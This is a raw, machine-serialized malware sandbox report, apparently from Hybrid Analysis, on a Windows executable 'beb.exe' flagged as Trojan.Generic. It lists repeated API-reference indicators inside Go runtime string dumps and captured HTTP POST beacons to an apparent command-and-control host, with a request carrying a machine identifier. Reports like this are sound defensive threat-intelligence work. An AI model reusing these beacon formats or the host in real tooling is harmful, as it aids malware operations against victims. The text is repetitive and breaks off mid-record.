21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 3b:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T482,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample ed60a9ea4932… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ed60a9ea4932…. Malware family: Trojan.Generic. Threat score 100/100. 10/28 AV engines flagged this file. 7 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e"],"about":{"@type":"SoftwareApplication","name":"beb.exe","applicationCategory":["peexe","executable"],"identifier":"ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":10,"total":28},"behavioralIndicators":{"malicious":7,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T4f6,Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin")23:T40b,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin")24:T4c8f,Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameunimplemented3814697265625wakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failedn" (Indicator: "CertOpenStore"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found api reference "il stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #invalid syntax1907348632812595367431640625asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayRtlGetVersion" (Indicator: "CertCloseStore"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found api reference "il stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #invalid syntax1907348632812595367431640625asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayRtlGetVersion" (Indicator: "CryptGenRandom"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found api reference "..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObject14901161193847656257450580596923828125strongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panicunexpected g status, g" (Indicator: "CryptReleaseContext"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double" (Indicator: "CertOpenSystemStoreW"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double" (Indicator: "CryptAcquireContextW"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found api reference "non-Go function at pc=reflectlite.Value.TypeRtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWbytes.Buffer: too large23283064365386962890625index out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free st" (Indicator: "CertGetCertificateChain"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found api reference "acksstack growth after forkshrinkstack at bad timereflect.methodValueCallGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlock" missing CPU supportexit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid argument to Intn116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt" (Indicator: "CertFreeCertificateChain"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWGODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleinvalid argument to Int31n1455191522836685180664062572759576141834259033203125all goroutines stack" (Indicator: "CertFreeCertificateContext"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin"), Found api reference "traceGC background sweeper waitnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryRtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStore363797880709171295166015625PageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGetFileInformationByHandleEx18189894035458564758300781259094947017729282379150390625GC mark assist wait for wor" (Indicator: "CertCreateCertificateContext"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin"), Found api reference "source temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy28421709430404007434844970703125slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin"), Found api reference "source temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy28421709430404007434844970703125slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin"), Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameunimplemented3814697265625wakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at: not pointer != sweepgen MB globals work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failed" (Indicator: "CertOpenStore"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found api reference "..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObject14901161193847656257450580596923828125strongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panicunexpected g status," (Indicator: "CryptReleaseContext"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found api reference "non-Go function at pc=reflectlite.Value.TypeRtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWbytes.Buffer: too large23283064365386962890625index out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free s" (Indicator: "CertGetCertificateChain"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found api reference "acksstack growth after forkshrinkstack at bad timereflect.methodValueCallGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlock" missing CPU supportexit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid argument to Intn116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedIn" (Indicator: "CertFreeCertificateChain"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin") Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGetFileInformationByHandleEx18189894035458564758300781259094947017729282379150390625GC mark assist wait for wo" (Indicator: "CertCreateCertificateContext"; File: "ed60a9ea49327a70dcfeffbb0153968ca5d656b2c8fb67fc7d4fde65e936ee5e.bin")25:T30e9,Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 101User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "dust" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 101User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 101User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 101User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 101User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 101User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 101User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "dust" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST / HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gX-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "cOU4" in header "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gX-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "dust" in header "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gX-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gX-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "1e7a" in header "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gX-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "4ff8" in header "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gX-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 